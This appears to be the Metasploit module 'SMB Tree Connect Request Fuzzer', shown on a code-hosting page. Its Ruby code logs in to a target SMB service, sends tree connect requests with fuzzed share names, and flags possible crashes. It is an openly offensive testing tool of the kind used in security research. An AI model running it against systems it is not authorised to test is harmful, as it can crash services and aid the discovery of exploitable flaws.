Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::SMB::Client
8
  include Msf::Auxiliary::Fuzzer
9

10
  def initialize(info = {})
11
    super(update_info(info,
12
      'Name'           => 'SMB Tree Connect Request Fuzzer',
13
      'Description'    => %q{
14
        This module sends a series of SMB tree connect
15
      requests using malicious strings.
16
      },
17
      'Author'         => [ 'hdm' ],
18
      'License'        => MSF_LICENSE
19
    ))
20
  end
21

22
  def do_smb_connect(pkt,opts={})
23
    @connected = false
24
    connect
25
    simple.login(
26
      datastore['SMBName'],
27
      datastore['SMBUser'],
28
      datastore['SMBPass'],
29
      datastore['SMBDomain']
30
    )
31

32
    @connected = true
33
    simple.connect("\\\\#{datastore['RHOST']}\\#{pkt}")
34
  end
35

36
  def run
37
    last_str = nil
38
    last_inp = nil
39
    last_err = nil
40

41
    cnt = 0
42

43
    fuzz_strings do |str|
44
      cnt += 1
45

46
      if(cnt % 100 == 0)
47
        print_status("Fuzzing with iteration #{cnt} using #{@last_fuzzer_input}")
48
      end
49

50
      begin
51
        do_smb_connect(str, 0.25)
52
      rescue ::Interrupt
53
        print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}")
54
        raise $!
55
      rescue ::Exception => e
56
        last_err = e
57
      ensure
58
        disconnect
59
      end
60

61
      if(not @connected)
62
        if(last_str)
63
          print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}")
64
        else
65
          print_status("Could not connect to the service: #{last_err}")
66
        end
67
        return
68
      end
69

70
      last_str = str
71
      last_inp = @last_fuzzer_input
72
    end
73
  end
74
end
75

76